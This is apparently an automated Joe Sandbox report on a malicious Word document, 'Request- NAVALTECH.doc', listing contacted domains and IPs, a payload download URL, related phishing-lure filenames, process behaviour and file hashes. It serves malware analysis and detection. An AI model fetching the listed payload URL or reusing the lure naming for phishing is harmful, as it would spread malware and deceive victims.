https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
http://crl.ssc.lt/root-b/cacrl.crl0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
globalteamacademy.com	43.252.37.193	true	true	7%, Virustotal, Browse	unknown
mail.privateemail.com	198.54.122.60	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://9myEIOSGYPbvohaC7.com	true	Avira URL Cloud: safe	unknown
http://globalteamacademy.com/docct/zic/KlalU0GjxacVNEE.exe	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	believeoaid.exe, 00000007.00000002.2397455159.0000000002621000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.certplus.com/CRL/class3.crl0	believeoaid.exe, 00000007.00000003.2223106995.0000000008129000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.e-me.lv/repository0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.chambersign.org/chambersroot.crl0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.digsigtrust.com/DST_TRUST_CPS_v990701.html0	believeoaid.exe, 00000007.00000003.2223244158.00000000065E1000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://acraiz.icpbrasil.gov.br/LCRacraiz.crl0	believeoaid.exe, 00000007.00000003.2223229437.0000000006630000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certifikat.dk/repository0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.chambersign.org1	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp, believeoaid.exe, 00000007.00000003.2223151321.0000000006625000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.pkioverheid.nl/policies/root-policy0	believeoaid.exe, 00000007.00000003.2223267885.0000000006604000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://repository.swisssign.com/0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false		high
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	believeoaid.exe, 00000007.00000003.2223267885.0000000006604000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ca.disig.sk/ca/crl/ca_disig.crl0	believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certplus.com/CRL/class3P.crl0	believeoaid.exe, 00000007.00000003.2223160227.00000000065D9000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://repository.infonotary.com/cps/qcps.html0$	believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.post.trust.ie/reposit/cps.html0	believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp, believeoaid.exe, 00000007.00000003.2223106995.0000000008129000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certplus.com/CRL/class2.crl0	believeoaid.exe, 00000007.00000003.2223160227.00000000065D9000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.disig.sk/ca/crl/ca_disig.crl0	believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.infonotary.com/responder.cgi0V	believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.globaltrust.info0=	believeoaid.exe, 00000007.00000003.2223302348.0000000006616000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	believeoaid.exe, 00000004.00000002.2139656039.00000000023F1000.00000004.00000001.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	believeoaid.exe	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://servername/isapibackend.dll	believeoaid.exe, 00000007.00000002.2402667711.0000000007C10000.00000002.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.ssc.lt/cps03	believeoaid.exe, 00000007.00000003.2223302348.0000000006616000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0=	believeoaid.exe, 00000007.00000003.2223229437.0000000006630000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#	believeoaid.exe, 00000007.00000002.2397569912.0000000002724000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.pki.gva.es0	believeoaid.exe, 00000007.00000003.2223302348.0000000006616000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.k	believeoaid.exe, 00000007.00000002.2403091878.0000000008129000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.oces.certifikat.dk/oces.crl0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	believeoaid.exe, 00000007.00000002.2397455159.0000000002621000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.ssc.lt/root-b/cacrl.crl0	believeoaid.exe, 00000007.00000003.2223302348.0000000006616000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certicamara.com/dpc/0Z	believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	false		high
http://crl.pki.wellsfargo.com/wsprca.crl0	believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	false		high
http://www.dnie.es/dpc0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.trustcenter.de/guidelines0	believeoaid.exe, 00000007.00000003.2223106995.0000000008129000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://pki-root.ecertpki.cl/CertEnroll/E-CERT%20ROOT%20CA.crl0	believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.globaltrust.info0	believeoaid.exe, 00000007.00000003.2223302348.0000000006616000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://certificates.starfieldtech.com/repository/1604	believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	false		high
http://mail.privateemail.com	believeoaid.exe, 00000007.00000002.2398242477.00000000029EB000.00000004.00000001.sdmp	false		high
http://www.certplus.com/CRL/class3TS.crl0	believeoaid.exe, 00000007.00000003.2223106995.0000000008129000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.entrust.net/CRL/Client1.crl0	believeoaid.exe, 00000007.00000003.2223106995.0000000008129000.00000004.00000001.sdmp	false		high
http://www.entrust.net/CRL/net1.crl0	believeoaid.exe, 00000007.00000003.2223160227.00000000065D9000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	believeoaid.exe, 00000004.00000002.2145221726.0000000005410000.00000002.00000001.sdmp, believeoaid.exe, 00000007.00000002.2400919514.0000000005E70000.00000002.00000001.sdmp	false		high
http://www.disig.sk/ca0f	believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.e-szigno.hu/RootCA.crl	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false		high
http://www.signatur.rtr.at/current.crl0	believeoaid.exe, 00000007.00000003.2223229437.0000000006630000.00000004.00000001.sdmp	false		high
http://crl.chambersign.org/chambersignroot.crl0	believeoaid.exe, 00000007.00000003.2223151321.0000000006625000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.xrampsecurity.com/XGCA.crl0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.quovadis.bm0	believeoaid.exe, 00000007.00000003.2223151321.0000000006625000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.ssc.lt/root-a/cacrl.crl0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://repository.s	believeoaid.exe, 00000007.00000002.2403091878.0000000008129000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.firmaprofesional.com0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.netlock.net/docs	believeoaid.exe, 00000007.00000003.2223106995.0000000008129000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.trustcenter.de/crl/v2/tc_class_2_ca_II.crl	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp, believeoaid.exe, 00000007.00000002.2403091878.0000000008129000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.entrust.net/2048ca.crl0	believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	false		high
http://www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0	believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	false		high
http://cps.chambersign.org/cps/publicnotaryroot.html0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.e-trust.be/CPS/QNcerts	believeoaid.exe, 00000007.00000003.2223302348.0000000006616000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certicamara.com/certicamaraca.crl0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false		high
http://fedir.comsign.co.il/crl/ComSignCA.crl0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAI.crl0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.sectigo.com0	believeoaid.exe, 00000007.00000002.2397569912.0000000002724000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.entrust.net03	believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://cps.chambersign.org/cps/chambersroot.html0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://ca.sia.it/seccli/repository/CPS0	believeoaid.exe, 00000007.00000003.2223160227.00000000065D9000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAIII.crl0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certicamara.com/certicamaraca.crl0;	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false		high
http://www.e-szigno.hu/RootCA.crt0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false		high
http://www.quovadisglobal.com/cps0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false		high
http://tempuri.org/databaseSystemDataSet.xsd	believeoaid.exe, believeoaid.exe, 00000007.00000002.2397209601.0000000000DD2000.00000020.00020000.sdmp, KlalU0GjxacVNEE[1].exe.2.dr	false	Avira URL Cloud: safe	unknown
http://GbgHTj.com	believeoaid.exe, 00000007.00000002.2397455159.0000000002621000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valicert.com/1	believeoaid.exe, 00000007.00000003.2223244158.00000000065E1000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.e-szigno.hu/SZSZ/0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false		high
http://www.%s.comPA	believeoaid.exe, 00000004.00000002.2145221726.0000000005410000.00000002.00000001.sdmp, believeoaid.exe, 00000007.00000002.2400919514.0000000005E70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://fedir.comsign.co.il/crl/ComSignAdvancedSecurityCA.crl	believeoaid.exe, 00000007.00000002.2403091878.0000000008129000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://ocsp.quovadisoffshore.com0	believeoaid.exe, 00000007.00000003.2223151321.0000000006625000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.entrust.net0D	believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://cps.chambersign.org/cps/chambersignroot.html0	believeoaid.exe, 00000007.00000003.2223151321.0000000006625000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://DynDns.comDynDNS	believeoaid.exe, 00000007.00000002.2397455159.0000000002621000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://sectigo.com/CPS0	believeoaid.exe, 00000007.00000002.2397569912.0000000002724000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.entrust.net/server1.crl0	believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	false		high
http://www.ancert.com/cps0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ca.sia.it/seccli/repository/CRL.der0J	believeoaid.exe, 00000007.00000003.2223160227.00000000065D9000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.registradores.org/scr/normativa/cp_f2.htm0	believeoaid.exe, 00000007.00000003.2223151321.0000000006625000.00000004.00000001.sdmp	false		high
http://www.signatur.rtr.at/de/directory/cps.html0	believeoaid.exe, 00000007.00000003.2223229437.0000000006630000.00000004.00000001.sdmp	false		high
https://rca.e-szigno.hu/ocsp0-	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false		high
https://www.netlock.hu/docs/	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certplus.com/CRL/class1.crl0	believeoaid.exe, 00000007.00000003.2223106995.0000000008129000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.crc.bg0	believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.chambersign.org/publicnotaryroot.crl0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.informatik.admin.ch/PKI/links/CPS_2_16_756_1_17_3_1_0.pdf0	believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	false		high
http://fedir.comsign.co.il/crl/ComSignAdvancedSecurityCA.crl0	believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.e-certchile.cl/html/productos/download/CPSv1.7.pdf01	believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	false		high
http://www.pki.gva.es/cps0	believeoaid.exe, 00000007.00000003.2223302348.0000000006616000.00000004.00000001.sdmp	false		high
http://www.pki.gva.es/cps0%	believeoaid.exe, 00000007.00000003.2223302348.0000000006616000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
43.252.37.193	unknown	Malaysia		45144	NETONBOARD-MYNetOnboardSdnBhd-QualityReliableCloud	true
198.54.122.60	unknown	United States		22612	NAMECHEAP-NETUS	false

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	348479
Start date:	04.02.2021
Start time:	09:54:46
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Request- NAVALTECH.doc
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winDOC@9/14@11/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 0.9% (good quality ratio 0.7%) Quality average: 52.8% Quality standard deviation: 32.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 68 Number of non-executed functions: 14
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 205.185.216.10, 205.185.216.42 Excluded domains from analysis (whitelisted): audownload.windowsupdate.nsatc.net, au.download.windowsupdate.com.hwcdn.net, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, au-bg-shim.trafficmanager.net Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:55:36	API Interceptor	667x Sleep call for process: EQNEDT32.EXE modified
09:56:02	API Interceptor	1307x Sleep call for process: believeoaid.exe modified
09:56:04	API Interceptor	1x Sleep call for process: schtasks.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
43.252.37.193	Quotation-20441.doc	Get hash	malicious	Browse	globalteamacademy.com/docct/pal/g1OsYVWymzBgTTt.exe
	PROFORMA INVOICE-09765434.doc	Get hash	malicious	Browse	globalteamacademy.com/docct/uzz/E6RVLMWo0fz1jFA.exe
	New ORDER 092134..doc	Get hash	malicious	Browse	globalteamacademy.com/docct/dj/fBqZ0SFcHFfoBIY.exe
	RFQ A50924-E001.doc	Get hash	malicious	Browse	globalteamacademy.com/epl/zi/SAM.exe
	quotation085312456.doc	Get hash	malicious	Browse	globalteamacademy.com/epl/pll/PALLS.exe
	STEELWORKS RFQ-38166.doc	Get hash	malicious	Browse	globalteamacademy.com/epl/ja/JASP.exe
198.54.122.60	Quotation-20441.doc	Get hash	malicious	Browse
	PROFORMA INVOICE-09765434.doc	Get hash	malicious	Browse
	New ORDER 092134..doc	Get hash	malicious	Browse
	i0K5YoZXLi.exe	Get hash	malicious	Browse
	STEELWORKS RFQ-38166.doc	Get hash	malicious	Browse
	DHL............097HFRGJLK0877IKF.xlsx	Get hash	malicious	Browse
	POinv00393.exe	Get hash	malicious	Browse
	DHL_document11022020680908911.doc.exe	Get hash	malicious	Browse
	Pending Orders Statement -40064778.doc	Get hash	malicious	Browse
	documenting.doc	Get hash	malicious	Browse
	RFQ Tengco_270121.doc	Get hash	malicious	Browse
	74725794.exe	Get hash	malicious	Browse
	pickup receipt,DOC.exe	Get hash	malicious	Browse
	Pi_74725794.exe	Get hash	malicious	Browse
	74725794.exe	Get hash	malicious	Browse
	New FedEx paper work review.exe	Get hash	malicious	Browse
	New paper work document attached.exe	Get hash	malicious	Browse
	DHL_AWB_1928493383.exe	Get hash	malicious	Browse
	PGXPHWCclJQdkUDcrlQETWlRbmXQw.exe	Get hash	malicious	Browse
	SecuriteInfo.com.BehavesLike.Win32.Generic.tc.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
globalteamacademy.com	Quotation-20441.doc	Get hash	malicious	Browse	43.252.37.193
	PROFORMA INVOICE-09765434.doc	Get hash	malicious	Browse	43.252.37.193
	New ORDER 092134..doc	Get hash	malicious	Browse	43.252.37.193
	RFQ A50924-E001.doc	Get hash	malicious	Browse	43.252.37.193
	quotation085312456.doc	Get hash	malicious	Browse	43.252.37.193
	STEELWORKS RFQ-38166.doc	Get hash	malicious	Browse	43.252.37.193
mail.privateemail.com	Quotation-20441.doc	Get hash	malicious	Browse	198.54.122.60
	PROFORMA INVOICE-09765434.doc	Get hash	malicious	Browse	198.54.122.60
	New ORDER 092134..doc	Get hash	malicious	Browse	198.54.122.60
	i0K5YoZXLi.exe	Get hash	malicious	Browse	198.54.122.60
	STEELWORKS RFQ-38166.doc	Get hash	malicious	Browse	198.54.122.60
	ORDER-876545.exe	Get hash	malicious	Browse	198.54.122.60
	DHL............097HFRGJLK0877IKF.xlsx	Get hash	malicious	Browse	198.54.122.60
	QuotationTXCtyres.exe	Get hash	malicious	Browse	198.54.122.60
	POinv00393.exe	Get hash	malicious	Browse	198.54.122.60
	DHL_document11022020680908911.doc.exe	Get hash	malicious	Browse	198.54.122.60
	Pending Orders Statement -40064778.doc	Get hash	malicious	Browse	198.54.122.60
	documenting.doc	Get hash	malicious	Browse	198.54.122.60
	RFQ Tengco_270121.doc	Get hash	malicious	Browse	198.54.122.60
	74725794.exe	Get hash	malicious	Browse	198.54.122.60
	Enq No 34 22-01-2021.exe	Get hash	malicious	Browse	198.54.122.60
	pickup receipt,DOC.exe	Get hash	malicious	Browse	198.54.122.60
	SecuriteInfo.com.BehavesLike.Win32.Generic.lm.exe	Get hash	malicious	Browse	198.54.122.60
	SecuriteInfo.com.BehavesLike.Win32.Generic.nm.exe	Get hash	malicious	Browse	198.54.122.60
	SecuriteInfo.com.BehavesLike.Win32.Generic.lm.exe	Get hash	malicious	Browse	198.54.122.60
	SecuriteInfo.com.BehavesLike.Win32.Trojan.nm.exe	Get hash	malicious	Browse	198.54.122.60

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
NAMECHEAP-NETUS	Quotation-20441.doc	Get hash	malicious	Browse	198.54.122.60
	PROFORMA INVOICE-09765434.doc	Get hash	malicious	Browse	198.54.122.60
	New ORDER 092134..doc	Get hash	malicious	Browse	198.54.122.60
	PO#4503527426.xlsx	Get hash	malicious	Browse	198.54.117.216
	SAMSUNG C&T UPCOMING PROJECTS19-MP.exe.exe	Get hash	malicious	Browse	198.54.117.212
	i0K5YoZXLi.exe	Get hash	malicious	Browse	198.54.122.60
	LbxEsmtt9T.exe	Get hash	malicious	Browse	198.54.117.210
	IRS_Microsoft_Excel_Document_xls.jar	Get hash	malicious	Browse	198.187.29.67
	KROS Sp. z.o.o.exe	Get hash	malicious	Browse	198.54.117.212
	STEELWORKS RFQ-38166.doc	Get hash	malicious	Browse	198.54.122.60
	Nre Order.exe	Get hash	malicious	Browse	185.61.154.56
	DHL............097HFRGJLK0877IKF.xlsx	Get hash	malicious	Browse	198.54.122.60
	DHL Delivery.exe	Get hash	malicious	Browse	198.54.114.191
	ZoZPSenk67.exe	Get hash	malicious	Browse	199.188.200.97
	swift copy.exe	Get hash	malicious	Browse	198.54.126.106
	M0uy4pgQzd.exe	Get hash	malicious	Browse	198.54.117.211
	file OEM file.xlsx	Get hash	malicious	Browse	198.54.126.106
	WaybillDoc_6848889025.xlsx	Get hash	malicious	Browse	198.54.126.106
	SOA 2.doc	Get hash	malicious	Browse	198.54.117.216
	PO_Invoices_pdf.exe	Get hash	malicious	Browse	199.193.7.228
NETONBOARD-MYNetOnboardSdnBhd-QualityReliableCloud	Quotation-20441.doc	Get hash	malicious	Browse	43.252.37.193
	PROFORMA INVOICE-09765434.doc	Get hash	malicious	Browse	43.252.37.193
	New ORDER 092134..doc	Get hash	malicious	Browse	43.252.37.193
	RFQ A50924-E001.doc	Get hash	malicious	Browse	43.252.37.193
	quotation085312456.doc	Get hash	malicious	Browse	43.252.37.193
	STEELWORKS RFQ-38166.doc	Get hash	malicious	Browse	43.252.37.193
	PAYMENT 25SW Aug-06-2018.doc	Get hash	malicious	Browse	182.239.42.250

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Users\user\AppData\Roaming\believeoaid.exe
File Type:	Microsoft Cabinet archive data, 59134 bytes, 1 file
Category:	dropped
Size (bytes):	59134
Entropy (8bit):	7.995450161616763
Encrypted:	true
SSDEEP:	1536:R695NkJMM0/7laXXHAQHQaYfwlmz8efIqigYDff:RN7MlanAQwEIztTk
MD5:	E92176B0889CC1BB97114BEB2F3C1728
SHA1:	AD1459D390EC23AB1C3DA73FF2FBEC7FA3A7F443
SHA-256:	58A4F38BA43F115BA3F465C311EAAF67F43D92E580F7F153DE3AB605FC9900F3
SHA-512:	CD2267BA2F08D2F87538F5B4F8D3032638542AC3476863A35F0DF491EB3A84458CE36C06E8C1BD84219F5297B6F386748E817945A406082FA8E77244EC229D8F
Malicious:	false
Reputation:	moderate, very likely benign file
